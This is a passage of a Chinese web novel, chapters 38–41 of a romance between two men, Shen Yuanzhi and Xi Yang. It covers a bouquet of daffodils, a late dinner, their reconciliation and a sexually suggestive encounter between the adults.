下了班,沈垣之便毫不顾忌地走起了神,思绪乱糟糟的,片刻后他垂头丧气地将下巴抵着书桌,盯着毫无动静的手机,轻轻眨了下眼。
追人也追的很不勤快。
竟然还真晾了他一下午。
怎么,出差就不能随时报备了,让他不发消息还真不发呀。
“王八蛋……”
故意挑着刺,沈垣之小声嘟囔了句。刚想收拾收拾回家时,门口突然传来有规律的敲门声,伴随着一道很熟悉的低笑声。
沈垣之一愣,顺着望去。
席殃半倚在门框旁,眼眸含笑,手里正捧着一束花,不知看他多久了。
第38章 第 38 章 “你真的好可爱。”……
“是谁在骂人呀。”
沉默之际, 席殃慢条斯理地撩了下花瓣,语气含笑:“小花,你有听见吗?”
正在气头上的沈垣之听到这话立马勾了下唇, 哑火的非常迅速,目光落至席殃怀里的那束水仙花时他愣了愣。
办公室里的灯开的不多,除了能够照明的顶灯外就只有酒柜旁的氛围灯, 席殃站在不太清晰的灯光下,怀里抱着一束花正偏着头看他,眉眼温柔。
和记忆里等他放学的那道身影渐渐重合。
沈垣之呼吸放缓了些。
“我今天下午去了趟一中,廖教授介绍了位教导主任给我认识, ”脚步声渐近, 安静的办公室里显得席殃的声音很好听:“你猜是谁?”
沈垣之掩下情绪,配合道:“谁呀?”
“安老师,安怀。”
沈垣之有些诧异的看了他一眼。
安怀是他们高中时的语文老师,是个很有才华的女老师, 性格也很温柔,沈垣之很喜欢听她上课,没想到她这些年竟然当上教导主任了。
“惊讶吧。”隔着一张办公桌站在他对面, 席殃笑了笑:“我也很惊讶, 她现在比以前严厉多了, 我只好专心陪着聊天, 不敢拿手机出来。”
沈垣之轻抬眼皮看了他一眼。
“安老师她还问我有没有对象, 结婚没有。”
席殃语气一顿。
沈垣之闻言挑了一下眉,手肘抵着办公桌掌心托着下巴,自下而上地看着席殃,眉眼漫不经心的。
示意他继续编下去。
灯光下,沈垣之眉眼柔和, 不似平日里的装出来的冷静,皮肤白皙细腻,挺鼻薄唇,像是沉淀许久后依旧绚丽的瓷器,晶莹剔透,带着易碎的美。
席殃眼眸一沉,微微俯身,谎话张口就来:“我说,老师,正追着呢,一下午没见了,很想他。”
“老师又说:‘那快回去吧,记得买束花送给他。’”
“我连忙答应,跑满了全城最后只买到几朵他喜欢的水仙花。”
“谁知道,回来时恰好听见他在骂我。”
话刚落音,忍着笑意的沈垣之面无表情往四周看了一圈:“谁骂你呀,没听见。”说着,还有样学样伸手小心翼翼碰了碰席殃怀里的花:“哎这位同学,你有听见吗?”
席殃立马就笑出了声。
沈垣之觉得和他待久了显得自己也很幼稚,抿着唇刚想说些什么,脸颊就被轻轻捏了一下。
还是爱不释手的那种捏法。
呼吸一怔,沈垣之有些意外地抬起头,瞬间跌进了席殃满是笑意的眼里。
“沈垣之。”
席殃眼眸一沉,声音低低的:“你真的好可爱。”
——
“已为您重新规划路线,您目前行驶在最佳路上上……”
行驶在回家路上,车内安静的连导航声都有些刺耳。
坐在副驾驶上的沈垣之几乎整个身子都快偏向了右侧窗户,他盯着转瞬即逝的街景,没抱花的那只手一直在手机屏幕上点个不停。
他在玩开心消消乐,正在冲击第80关。
自从红着耳朵从办公室逃下来后,沈垣之就没再说话了,一直低着头装作很忙地看手机。
可他手机里压根就没下什么软件。
最害羞的时候盯着wps的文件迷迷顿顿看了好久,直到发现席殃噙着笑看他,沈垣之这才回过神,恼羞成怒地点进了早已生灰的软件。
游戏音效故意放得很大声。
一时间,席殃那价值百万的豪车里鸡叫,牛叫,什么动物都在叫。
沈垣之觉得自己真的幼稚透了,可席殃比他还幼稚,借着等待红灯那几十秒也要故意凑过来看他玩,还时不时跟着游戏配乐夸几句:“哇,好厉害。”
“哇,完美。”
一直到了小区,停了车,亦步亦趋跟着他身后的席殃还在笑。
臊红着脸,一手抱着花,一手提着粥的沈垣之终于忍无可忍:“席殃,你够了啊。”
话刚落音席殃很快走了过来,他腿长肩宽的,身材练的很好,一过来就把沈垣之挡了个严严实实,自然地接过沈垣之手里提着的粥,他歪头问:“什么东西?”
沈垣之语气淡淡的:“反正不是可爱的东西。”
席殃一愣,忍不住笑出了声。
“刚刚是情不自禁地想夸你,”席殃抵着沈垣之的肩膀按了下电梯,猜着他的小心思:“不开心了?”
沈垣之抬头看他,因为角度原因,后脑勺因此在席殃胸前轻轻蹭了一下,他理直气壮地“嗯”了声,并指责道:“关键是你老笑我。”
“以前我追你的时候你不也经常害羞?”因着电梯里没人,沈垣之也不顾忌什么,皱眉严肃道:“我当时可没追着你笑。”
席殃自上而下地盯着他的唇,眼眸沉沉的:“确实是我不对,我认错。”
又撒娇。
沈垣之心一动,很快转移了话题:“你今天下午和安老师真见面了?”
席殃“嗯”了声:“和她聊了聊。”像是想到了什么,他声音有些委屈:“还让我上台说几句话。”
沈垣之闻言眼眸一亮:“真的假的?”
席殃有些无奈的点了下头:“本来想拒绝的,但有项目合作。”
沈垣之点点头,表示知道了。
席殃见他不多问,语气一顿,往沈垣之身旁靠近了些:“一中变化了不少,很漂亮,校道旁种了很多树,还有很多花花草草。”
沈垣之勾了下唇角,没说话。
“但是我没仔细看。”
沈垣之稍抬眼皮看他:“多好的机会,怎么不逛逛?”就像是等着他说这话一样,席殃立马开口:“想和你一起。”
“为了周年庆学校还新修了池塘,里面还养了好多鱼。”绞尽脑汁的形容,席殃眼眸含笑:“周六和我一起去吧。”
语气里满是期待。
绕来绕去原来是想说这个,虽然早就答应了黎总要去,但沈垣之压了压上扬的嘴角,故作冷淡道:“我考虑一下。”
恰逢电梯到了,沈垣之很快走了出去,这几天小区依旧限电,除了月色之外,楼道里依旧黑黑的。
每次到这个时候,沈垣之就会自觉地拿出手机当手电筒,可今天不一样,有个人极其上道,早早的就将灯光照在了沈垣之脚下。
不仅如此,还亦步亦趋地跟着他。
“考虑好了吗?”
还没走多久,席殃就在后面笑着问。
沈垣之脚步一顿,惊讶地回头:“这才过了多久?”
“不久吗?”席殃小声哼哼:“大概是我心急如焚。”
月光下他虽西装革履精英感十足,但眉眼实在温柔,手里还提着十分违和的塑料袋,说话时声音放得很轻,站在那就极富人夫感。
沈垣之心一动,盯着他看了好几眼。
察觉到他的视线,席殃敛去了笑意,眼眸沉沉的盯着沈垣之的唇。
气氛顿时升温了很多。
沈垣之心一紧,喉结也不受控的滚动了好几下,他这几天总觉得席殃有意卖乖,也习惯了他温温柔柔的模样,但此刻才从他眼眸里发现,这人压根就不是什么善茬。
眼眸一沉,沈垣之在席殃凑近时的那刻往后躲了一下,将花插在两人中间,沈垣之抬着眼皮看他:“干嘛,又想夸我啊?”
席殃立马就笑出了声:“不敢夸,怕你又不理我。”
沈垣之不理他,很快就往家门口走,席殃也立马跟上来了,看着地上投来一大一小的背影,沈垣之勾着唇用脚踩了席殃的影子好几脚。
席殃也配合,故意将影子往他脚上递。
到了家门口,席殃拦着他不让进去,将人锁在门口低声问他:“你觉得我今天买的花漂亮吗?”
沈垣之看着虚空横在自己腰间的手臂,压着唇角点了下头:“还可以。”
“喜欢?”
“嗯。”
“我去你家帮你插起来吧,”席殃特别有礼貌地推荐自己:“我学过插花,很漂亮。”
沈垣之有些想笑。
“我写了演讲稿,你顺便帮我看看?”席殃又说。
“到底是想插花,还是想让我看演讲稿。”语气一顿,沈垣之抬了下眼皮:“还是想去我家看看?”
两人离的很近,呼吸间不仅萦绕着花香和还有各自身上的味道,沈垣之今天忙的时候抽了根烟,薄荷味里夹杂着一些苦涩,很好闻。
席殃情不自禁凑近了些,声音低哑:“都想。”
沈垣之才不吃他这套,压着上扬的眉梢,轻轻哼了声:“家里没有花瓶不想插花,下班了,领导不准压榨我,想去我家的理由都不充分。”
“我不答应。”
说完便忍着笑意背过了身。
“等一下。”席殃轻轻搂了一下他的腰,在沈垣之看过来时自觉地放开了:“我还有一个理由。”
“嗯?”
“我害怕。”席殃轻轻皱眉:“昨晚看的鬼片太恐怖了,那女鬼好吓人……”
沈垣之本来是开玩笑的,他本来就很怕这些,席殃刚说出来一个字,脑海里就立马蹦出来那女鬼的样子。
加上月黑风高,沈垣之脸色一变,鸡皮疙瘩一下就起来了。
“不准说了。”
沈垣之头皮发麻道。
“害怕了?”
垂头看他,席殃忍着笑意淡淡道:“怪我。”
“我陪你进去,等你不害怕了就回家。”
第39章 第 39 章 “没让你爽?”
沈垣之家里没什么东西。
除了公寓自带的家具外这些年他没添置任何新的东西, 只是偶尔心血来潮趁着打折买一些小摆件,比如放在玄关处的水培植物,餐台上十元三个的小咖啡杯, 还有茶几上没来得及收拾的零食袋。
他平时工作忙,回来除了洗漱就是睡觉,没花心思整理, 再加上家里人也没什么人来,即使他打扫的不算很勤,但肉眼可见还是很干净的。
沈垣之本来是对自己很满意的。
但注意到席殃向屋内探去的视线时,还是没来由的一阵心虚, 从鞋柜里替席殃拿出一次性的拖鞋, 趁席殃换鞋的间隙他飞快地朝茶几走去。
将零食全藏起来,拍了拍有些皱起来的沙发,正准备沙发上的毛绒玩偶收起来时,席殃就朝他走来了。
沈垣之只好放弃, 将怀里的花放在茶几上,他径直走向储藏柜:“你先坐。”
储藏柜离茶几不远,但柜门安装的比较低, 沈垣之一蹲下就看不见头了, 他一边翻找着各种各样的茶叶, 一边探出头来, 头发毛茸茸:“席殃, 你要喝什么?”
席殃闻言看了过去,眼眸很快就噙了几分笑:“喝点热水就行。”
沈垣之点点头,心想这么晚了确实不该喝茶,将柜门关上后转身给席殃接了杯热水,随后像是想到什么, 顺便还从冰箱里摸出一颗糖。
“给。”
将水和糖一并递给席殃,沈垣之坐在了他对面。席殃接过,有些惊讶的看着糖:“把我当小朋友了?”
沈垣之一愣:“你不是喜欢吃甜的吗?”他皱皱眉,不服气道:“你也经常给我糖,难不成也把我当小朋友?”
“是呀。”席殃立马说。
沈垣之本来还有些尴尬,知道席殃说这话是故意逗他,并不和他计较。
两人一时沉默,但气氛很好。
不暧昧也不尴尬,像席殃这人一样,张弛有度,不会太得寸进尺的情况下很有存在感,即使很少招待客人而显得有些局促,即使眼前这个人心思昭然若揭。
“晚上吃了什么?”
沉默之际,席殃开口问道。
没想到席殃会问这个问题,沈垣之愣了一下,如实回答:“没来得及吃。”
席殃闻言看了他一眼,挽起袖子,很快站起身来:“家里有食材吗?”
说完便直奔冰箱。
这行动力也太强了吧。
沈垣之在心里疯狂吐槽着,但很快就跟了上去,在席殃要拉开冰箱时,他心口一跳,伸出手抵着门不让开。
“不许动。”
两人靠的很近,沈垣之刚刚嫌热脱了西装外套,奔波了一天的头发也乖乖的服帖了下来,一身白衬衣衬得他很嫩,加上睫毛长长的,看上去实在没什么威严。
席殃闻声低头看他。
沈垣之对上那双漆黑的眼眸后,有些心虚的滚了下喉结:“你不是说要插花吗,我给你找瓶子,你插给我看。”
“等会儿。”
说完,划过沈垣之压在冰箱上的手,席殃用了点力:“冰箱里是不是就只有几个鸡蛋?”
沈垣之一顿,心想这你都知道,没等他反应过来席殃就开了冰箱门。
果不其然。
冰箱里干净的反光,就真的只有几个鸡蛋而已。
一个外表看上去有些光鲜亮丽的总助,最擅长的菜品就是煎蛋,而且煎蛋还是眼前这人教的,该说不说确实有点尴尬。
双目对视,沈垣之松开了手,他解释道:“我平时很少在家吃。”
“嗯。”席殃只看了他一眼,语气平静。
从冰箱里拿了两个鸡蛋,席殃径直去了厨房,察觉到他有些不对劲的沈垣之眉头一皱,很快跟了上去。
厨房更是干净,席殃扫视了一眼,站在门口停顿了一下。
沈垣之注意着他的表情,有些心虚的替他开了灯:“家里没什么调料,我平时都在外面吃。”
“要不我们去外面吃……”
“你平时饿了吃什么?”席殃背对着他,开着水洗碗,厨房里没供热水,他的声音跟水一样冷。
沈垣之一愣,不太敢说实话:“就在公司食堂吃。”
“周末呢?”席殃又问。
沈垣之眉头一皱,不想说话了。
他能察觉到席殃为什么不开心,不就是觉得他没照顾好自己,但他工作忙,哪里有时间?
他要是看不惯就来照顾他呀,凭什么当初离开,现在又凭什么生他气。
绕来绕去又想到这个。
尽管这些天再怎么暧昧,沈垣之再怎么上头,一想到这个他心里就堵得慌,睫毛一眨,眼泪就要掉下来。
他不喜欢席殃了。
很烦他。
也不想让席殃追了。
当初他不告而别一句“后悔了”沈垣之就心软愿意给他机会,这才做小伏低装了不过几天就敢给他脸色,抿着唇看了眼席殃的背影,沈垣之气的想上去给他两拳。
眼眸一冷,出声讥讽道:“我周末吃外卖,从早吃到晚。”
“我还吃垃圾食品,你以前不让我吃的薯片辣条,我一天能吃八包。”
席殃关上了水,转过身来。
对上一双沉沉的眼眸,沈垣之心一紧,嘴上仍没什么顾忌道:“吃不死我就要一直吃,你管得着吗?”
说完便要走,谁知刚踏出一步就被席殃从身后抓住了,沈垣之心中大骇,还没来得及挣扎就被单手搂了过去。
身前是洗水池,身后是席殃宽厚的身躯。
稍微一挣扎就被抱的更紧了,灼热的呼吸声也飘了下来,沈垣之耳朵敏感,腿一下就软了。
“你装不下去了吧,这几天可真难为你了。”
说完,感受到后腰被戳了一下,沈垣之看不到只能大喊一声:“什么东西顶着我了?!”
话刚落音,席殃立马腾出一只手牵住他,贴近了带着他强制往下摸,声音低哑:“你说什么东西?”
沈垣之立马明白了,手隔着裤子都被烫了一下,他惊慌失措地大骂道:“你还要不要脸?”
“不要了,早就不要了。”松开了他的手,席殃将他抱的更紧了些,声音也罕见带上了颤:“我知道我不要脸,分手了就不该缠着你。”
“你过得怎么样是你自己的事,我不应该生气,也没身份管你。”
“但我就是,”席殃顿了一下:“生我自己的气。”
沈垣之愣了一下。
席殃很快放开了他,低声说了句“对不起”,然后开始敲鸡蛋,敲完鸡蛋又卖力的用筷子打鸡蛋。
盯着黄澄澄的蛋液,沈垣之他侧过头看向席殃,后者正一言不发地抿着唇,眼里只有鸡蛋。
看着看着,沈垣之莫名地哑了火。
他知道席殃是什么意思,无非就是看他没好好照顾自己,心里生气又自责,但席殃之前表现得那样强势,说要追他也是势在必得的模样。
原来心里压根就没底气。
所以这些天才故意卖乖,事事都顺从自己,明明不是一个爱表达自己内心想法的人,这两天话都逼得变多了。
沈垣之不动声色地眨了下眼。
“周末也没经常点外卖,”语气不再那么强硬,他有些不自然地解释:“你以前不是教过我一些家常菜吗,我偶尔会做。”
“那零食呢?”
“零食也不经常吃啊,”沈垣之没什么底气道:“我平时那么忙,没时间逛超市……”
正说着话,席殃突然扔下筷子搂了过来:“我没装,想追你是认真的,也是想真的对你好。”
“你就当我刚刚发了疯,别不让我追你。”
感受到耳边传来颤抖的呼吸声,沈垣之心口一紧,片刻后全身放松下来,伸出手拍了拍席殃的后背,声音轻轻的:“我哪句话不让你追了。”
“买花,有人接送下班,长得又挺帅,背地里给我当狗……”
沈垣之哼了一下:“多好。”
席殃闻言呼吸一重,控制不住的蹭了他一下。
“我就是想故意吊着你。”沈垣之顿了一下:“我就想你追我再久点,对我再好点,好到让我忘记没你的这几年。”
“不管当初你离开是不是有我的原因,就算全是我的错,现在也要忽略不计。”
“我可以在以后的日子改正,弥补,加倍的对你好。但此时此刻,在你决心要追我的这段时间里,席殃你必须要更喜欢我多一点。”
眨了眨有些发烫的眼尾,沈垣之故作轻松道:“我真的很记仇,你忍一下吧。”
话刚落音,席殃立马“嗯”了一声:“好。”不再顾忌将怀里人抱的更紧了些,他轻声开口问:“你是不是没安全感。”
席殃说话总是一针见血,沈垣之心一颤,眼尾一下就湿了,他眨了下眼,将头埋进席殃的颈窝里,嘴硬道:“不是,就纯记仇。”
席殃闻言用下巴蹭了蹭他的头顶,轻轻叹了口气,转移话题道:“我好饿。”
沈垣之抬头看他:“晚上没吃?”
席殃“嗯”了声,目光落在他微红的眼尾上:“买完花已经很晚了,想赶回来见你。”
沈垣之皱皱眉:“你总逗我,我分不清哪句是真的。”
“都是真的,”席殃声音很轻:“安老师还向我问起你了。”
“安老师怎么会向你问起我,”沈垣之瘪着嘴:“我以前生怕别人发现,和你在班上一句话都没说。”
“以后要说,”席殃眼眸沉了沉:“以前就算了,不管你是顾忌同学老师发现,还是不想建立亲密关系当时就想玩玩我……”
沈垣之皱眉:“谁只想玩玩你……”
隐约察觉到当初两人分开的原因,沈垣之拧着眉看向席殃:“你怎么会这么想,谁跟你说了什么?”
席殃盯着他看了几眼,声音很轻:“你不久前都和我说了,还说我很一般,玩腻了。”
“你是嫌我身材不好?”
“还是嫌我口//活不好,没让你爽?”
沈垣之一愣,心想怎么这么记仇:“我那是……”
话还没说完,席殃一只手就伸了过来。
几乎是瞬间起了反应,沈垣之眼眸一沉,呼吸都乱了:“跟你说正事……”
“你同意我追你了,我就是你准男朋友,”强硬地打断,席殃凑近了些,伴随着皮带被解开的声音,一只手贴着他颤栗的肌肤直直向下。
“准男朋友现在要找你讨点甜头。”
“你给不给?”
第40章 第 40 章 “要我?”
事情发展的太快。
沈垣之虽一头雾水, 但在席殃隔着布料揉他敏感的腰身时,身体还是很给力的做出了自然反应。
他穿的西装裤,硬起来很明显。
尤其是在席殃的呼吸洒在他的耳侧时更为明显, 席殃的唇很热,时不时在他耳尖轻抿一口,偶尔还坏心眼的用牙齿轻轻磨着。
非常过分。
完全没了之前那样顺从和温柔, 握在他腰身上的手也毫不留情地跃跃欲试,隔着衬衣有一下没一下地摸着他,更显色/情。
“给不给?”
席殃亲了亲沈垣之的耳后,俯身将他抱在了厨台上, 低声追问道:“你给不给我?”
一边问, 一边在他耳旁喘。
躲又躲不掉,沈垣之被他喘得头皮发麻,腿也软了,真是实在受不了, 只好求饶似的伸手轻轻拽了一下他的衣摆。
还没等他说话,席殃立马就凑了过来,双臂撑在他身体两侧, 微微欠身, 拉开一段距离后, 眼眸沉沉地问:“要我?”
没被亲耳朵了。
沈垣之这才勉强找回一点清明, 他被困在席殃的怀抱里, 离席殃很近,连脸上的毛孔都看得很清楚,他舔了一下唇,双臂往后,撑在了厨台上。
“我还没答应和你在一起。”沈垣之小声哼哼:“也没想要你。”
“我知道。”
席殃很快摸上了撑在厨台上的手, 将整个身躯挤进沈垣之双腿之间,他低着头轻轻玩着沈垣之的指节,声音又低又哑:“我就想讨点甜头尝尝。”
沈垣之盯着他长长的睫毛愣了一下,情不自禁地开口问:“什么甜头?”
话刚落音,席殃就抬了下眼。
厨房里的顶灯偏暖,衬得人非常好看,席殃的衬衣不知怎么弄得乱糟糟的,他皮肤薄,锁骨明显,估计一咬就会留下印子。
沈垣之刚刚平复下的情绪又被挑了起来,他反客为主地捏住了席殃的指腹,挺直着腰主动凑了过去:“要不你亲我一下,解解馋。”
席殃勾了一下唇,偏头看他。
“你亲我一下,我咬你一口。”沈垣之毫不心虚道:“你追我,总是要吃点亏的。”
“但你只能亲亲脸。”
“好。”席殃顺着他,眼眸里的笑意更深了,他俯下身很轻地亲了一下他的脸颊:“那你咬我哪里?”
沈垣之立马伸手扯了扯他的领口,屏着呼吸凑了过去,还没咬上,他拽着席殃的衣摆深吸了一口,叹气道:“席殃,你怎么这么香。”
席殃扶着他的后腰,认真道:“我每天洗五次澡,还勤勤恳恳地给衣服熏香,每隔一段时间就去补点香水。”
“就是为了勾引你。”
席殃说完就笑了。
沈垣之知道席殃是故意逗他,二话不说垂着头埋进了他的颈窝,趁席殃还在笑,他用牙齿轻轻磨了一下那突出来的锁骨。
席殃呼吸立马就重了。
放在他腰后的手也下意识地攥紧了些,沈垣之本来就控制不住,一接收到席殃这一反应,整个人更是有些失控。
不再只限于轻轻的啃咬,沈垣之紧紧地搂住了席殃的脖子,从锁骨四周开始,灼热的吻密密麻麻地落了下来。
吻过青筋暴起的脖侧,感受着席殃同样颤栗的呼吸,沈垣之连啃带咬地往上亲,直到碰到席殃的嘴唇。
沈垣之突然平静了下来。
在内心充盈着无限渴望的时候,他很轻地,碰了一下席殃的嘴唇,心脏很快跳了一下。
沈垣之突然觉得很害羞。
比起更亲密的接触,这一个甚至算不上纯情的吻让他更加羞怯,就好像是满腔的爱意,终于被发现了一般。
沈垣之红着耳尖垂下眼睫,正准备退开一点距离时,席殃突然低下了头,轻轻地蹭了蹭他的嘴唇。
“没亲。”他语气淡淡的:“只是蹭。”
一边说着一边将他搂得更紧了些。
沈垣之眼眸亮亮的,搭在他脖间的双臂也轻轻用了力,一言不发地凑上去学席殃蹭了蹭他的嘴唇。
“我也没亲。”
席殃很快笑了,爱不释手地用鼻尖轻轻蹭了蹭他的鼻尖,欠身又贴了贴他的嘴唇,沈垣之不甘示弱的也贴了一下。
你来我往,贴了好几个来回,谁也不想吃亏。
最后是沈垣之受不了了,他噙着笑偏开头,低头看了看席殃身下,惊讶之余犹犹豫豫地问了句:“你会吗?”
席殃还沉浸在和“准男朋友”贴贴中,他眼眸含笑“嗯?”了声:“什么?”
沈垣之见他一副被亲到神智不清的模样,忍着笑,调侃道:“这点甜头就满足了?”
“你怎么这么好打发啊。”
意识到他是什么意思,席殃自上而下地垂眸看他,声音轻轻地:“今天没想对你做什么。”
“哼。”沈垣之斜着眼看他:“真的?”
“假的。”
席殃眼眸一沉,拉开了两人之间的距离:“让我缓一缓。”
“不许走,我想了。”
沈垣之将他拉了回来,白皙的脚尖踢了踢早被席殃解开的裤子,他摸了下席殃的嘴唇,理直气壮道:“你给我弄出来。”
——
换了家居服的沈垣之躺在沙发上喊饿:“要不我们出去吃吧。”
席殃在厨房不知应了句什么,沈垣之没听清,他刚刚体力消耗太大,小腹连带着腿都有些疼,实在是起不来。
要找个机会去健身了,沈垣之晕晕沉沉地想,明明是席殃出力,他却被口得浑身酸软,这算什么。
小腹实在疼的有些发麻,沈垣之撩开衣服低头看看,只见肚脐以下全是被啜出来的吻痕,一个个红得吓人。
抬起头看向厨房那道身影,沈垣之眉间一挑,声音软绵绵的:“席殃,我肚子疼。”
他对着天花板胡乱叫着,声音被他拖得又长又轻,懒懒地不肯动,完全没了往日冷漠的气质,就这样喊了不过两句,席殃很快应了声:“我看看。”
沈垣之将衣服撩开了,他头也不抬地“哼”了声:“你咬的,管不管?”
“管。”
话没落音就闻到了一股香味,沈垣之偏头去看,只见席殃正端着一碗什么东西朝他走来:“明天我俩去趟超市,家里只有面了。”
说完他就将一碗鸡蛋面放在了茶几上,蹲在沙发旁看了看沈垣之的小腹,声音含笑:“对不起,我去买药膏。”
“算了。”沈垣之很快拦住了他,有些不自然地嘟囔了句:“你下次注意点。”
席殃笑了一下,将筷子递给了他。
沈垣之接过,很快就捧着碗吃了,席殃厨艺不错,尽管只是简单的鸡蛋面,但做的也很好吃,面条不软不硬很有劲道,汤很有光泽,就连蛋煎得都很漂亮。
沈垣之刚开始还想装一下矜持,后面实在是饿了,不顾形象地吃了起来,吃着吃着,他往席殃那看了一眼。
席殃也像是饿极了,抱着碗正在喝粥。
粥?
沈垣之下意识看向本应该放在玄关的外卖袋,现在早就不见了,想到哪里面装着什么,有些不好意思的沈垣之先发制人道:“你偷喝我的南瓜粥。”
席殃闻言抬头看了他一眼。
“我准男朋友买给我的。”
席殃语气平静,细听时分明噙着笑:“我昨天一说还想喝,他今天就偷偷买给我了。”
算了,席殃比他还不要脸。
沈垣之勾了一下唇,仅剩的那点羞怯很快就散了,两人头对着头,沉默着呼哧呼哧地吃完了比较晚的晚饭。
最后陪着席殃收拾好餐具后,两人又回到了沙发旁——沈垣之在某个角落里真找到了一个纯白色的花瓶。
沈垣之看着席殃东剪一下,西剪一下,然后一束一束将花塞进瓶口,不出一会儿,还真的有了形状,他有些惊诧地看向席殃。
“你真会呀。”
席殃稍抬眼皮,朝他勾着唇笑了一下。
是那种“那当然呢”很得意的笑。
沈垣之盯着他唇边的笑意,渐渐地,眼眸里也噙了几分温度,认真起来的席殃比平时还要好看,他脖间被沈垣之吻出了吻痕,黑色衬衣微微敞开着,在花的衬托下,禁欲又色//气。
眼看着他注意力不在自己身上,沈垣之不动声色地摸出了手机,摆好角度拍了几张,镜头里席殃一张比一张好看,沈垣之呼吸一重,有些不自然地抱着枕头挡了挡。
“不能再来了。”沉默之际,席殃突然笑了笑:“等会就不只是肚子疼了。”
沈垣之耳尖一红,并不服气道:“你想多了。”
席殃顺着他“嗯”了声,将最后一支花放下,他问:“怎么样,好看吗?”
沈垣之放下手机,盯着看了很久,也“嗯”了声:“好看。”
虽然他不知道插花艺术,但错落有致的,确实很有观赏性,不像是随心插的,反倒是真学过。
他偏头看向席殃,犹豫道:“你在哪里学的?”
“之前在花店里帮人打过工。”席殃很快回答:“老板有时候会教我。”
沈垣之愣了一下,问了句废话:“在挪威吗?”
“是呀。”席殃应了声:“勤工俭学。”
这还是席殃第一次说起自己在挪威的事,语气明明平静,但沈垣之心还是莫名地一紧。
席殃也像是察觉到他的情绪,主动开口道:“我住在一个大森林里,出门几十公里外才能看见人。”
“有一段时间我待着没出去过,”像是想到了什么,他语气一顿,唇边勾起了笑:“差点成了隐居山林的绝世高手。”
这句话虽是席殃开玩笑着说出来,但落在沈垣之耳朵里并不舒服,没等他深究其中的原因,席殃突然凑过来朝他笑了笑:“小圆,我今晚不想回去。”
沈垣之眼眸一沉,盯着他看了几秒,不为所动地摇摇头:“不行。”
席殃失落地看了他一眼:“那我换一个。”
沈垣之盯着他“嗯?”了声。
“周六陪我去学校。”席殃将下巴搁在他的手背上,眼皮一抬,毫不要脸地撒着娇:“好不好?”
沈垣之眼眸一沉,反客为主地用指腹蹭了蹭他的下巴:“本来就要去的。”
“黎总没跟你说我要和冯沅去考察情况?”
“就在周六。”
“我很介意黎炫你不要说他了。”席殃抬了下眼皮,声音低低地:“而且不一样。”
沈垣之不知道到底哪里不一样,忍着笑意点了下头:“行吧。”
席殃很快就笑了。
沈垣之起身送他,从沙发到玄关一共就不过十几步的距离,席殃一会儿问:“演讲稿还没给你看呢,要不我今晚留下来吧。”
一会儿又问:“你不怕了?”
“要不我留下来陪陪你吧。”
知道席殃是故意逗他,留下来两人也不会干什么,但沈垣之不太想惯着他,于是忍着笑推开了门:“我开灯睡觉,不怕。”
席殃只好低头笑笑。
换了鞋,席殃扶着门说了声晚安,沈垣之挑挑眉表示知道了。
见他没什么表示,席殃只好松开了门,往黑暗里刚踏出一步,身后便传来一道低笑声,席殃还没回过神来,领带就被人抓了去。
黑暗里,领带缠在沈垣之白皙的指节上,他眸间含笑,在席殃有些意外的视线下,轻轻地扯了扯领带。
顺着微微欠身。
那人踮脚迎了上来,唇角很快落下一吻。
门关上的时候,席殃听见沈垣之说:“晚安,我的准男朋友。”【你现在阅读的是魔蝎小说 moxiexs】
40-50
第41章 第 41 章 “我高兴还来不及。”……
有准男朋友的好处是什么。
大概是沈垣之肚子饿的咕咕叫时有人掐着点送来爱心早餐, 并且在他吃早餐过程中,很自觉的接手了他未完成的工作。
看着坐在落地窗前正背对着他敲电脑的席殃,沈垣之吃完热乎乎的小米粥后, 抿了口温热的牛奶。
“你吃过了吗?”
“嗯。”席殃背对着他应了声:“吃饱了才来找你。”
沈垣之勾着唇笑了一下。
“那你知道要怎么整理吗?”
席殃没回头,轻轻“嗯”了声:“你之前发我的产品资料我都认真看过了。”
沈垣之不信,端着牛奶走了过去。
G市这几天天气回暖, 上午就出了太阳,席殃对着的落地窗前是一个自带的小阳台,沈垣之淘了一个横条花盆,里面种了一些花花草草, 这几天陆续都开了花。
一眼望过去生机盎然, 一幅春意。
席殃背对着他坐在这幅景象中,他今天穿了件深蓝色衬衣,下身是一件普通的黑色西装裤,身型修长, 背挺肩宽,头发往后轻轻抓着。
晨起的太阳落在他身上,暖黄暖黄的, 像是渡了一层薄薄的光。
沈垣之心一动, 找了个椅子坐在他身边。
离上班的时间还早, 沈垣之也不着急, 下巴抵着桌上眯着眼睛晒太阳, 偶尔抿口热牛奶,偶尔凑过去“指导”一下席殃。
“这个调节器是在我入职那天生产出来的,”沈垣之用手指轻轻碰了碰电脑屏幕:“两年后我带着它谈成了第一个合作项目。”
“价值这个数的项目。”
沈垣之比了个“七”,自豪道。
敲键盘的手没停,席殃偏过头看了他一眼, 唇边勾起淡淡的笑:“哇,这么厉害。”
“那可不。”沈垣之抿了口热牛奶,他歪头看向席殃:“当时那个甲方不信任我们,我和黎……”
话还没落音,席殃就立马看了过来。
他很快往后倒了一下,背靠在椅背上,双臂轻轻环抱着,淡淡的眼神自上而下地落在沈垣之的身上,唇边还勾着若有若无的笑意。
一副“你敢说我就要闹了”的表情。
沈垣之心里好笑,歪着头也看他,声音噙着笑:“怎么,还没追上你就敢耍脾气了?”
两人对视了一会儿,最后是席殃忍不住笑了。
“我哪敢。”
说完便伸手捏了捏沈垣之的脸。
轻轻的,捏完之后还有指腹亲昵地蹭了蹭。
“哎哎哎。”沈垣之微微偏头,故作生气道:“干什么干什么,动手动脚的。”
席殃笑得更开心了。
他长相偏冷,但笑起来并不违和,唇角扯开的弧度很淡,主要是通过他的眼眸流露,让人一看就觉得很温柔。
沈垣之瞥了席殃一眼,淡淡道:“黎炫他人挺好的,在工作上挺照顾我的,我俩就是朋友。”
“就像我跟薄言那样。”
沈垣之语气一顿:“你知道薄言吧。”
席殃压着唇角点了点头:“知道。”他不开心地低声道:“两个都不喜欢。”
“你不喜欢黎炫就算了,怎么还不喜欢薄言。”沈垣之小声哼哼:“这不喜欢那不喜欢,你……”
“喜欢你。”席殃极其自然道。
沈垣之眼皮一抬,压了下唇角:“别一找机会就说这些有的没的。”
席殃知道他害羞,于是勾着唇不再说了。
“今天有什么安排吗?”沈垣之转移了话题:“周六就要去一中,我们要不要提前准备什么?”
席殃正了神色:“我今天约了于晓天。”
“于晓天……”思索着这个熟悉的名字,沈垣之皱了下眉:“总部的于总?”
“嗯。”席殃点点头:“之前见过一次面,今天去谈谈项目承接方案。”
他语气一顿:“一中项目可能还要外包部分出去。”
沈垣之知道这个,并不惊讶。
但脑海里莫名地浮现出某个人影,他上下打量了下席殃,语气淡淡的:“那你岂不是又能许助理见面了?”
席殃敲着键盘“嗯?”了声:“哪位?”
“许行之。”
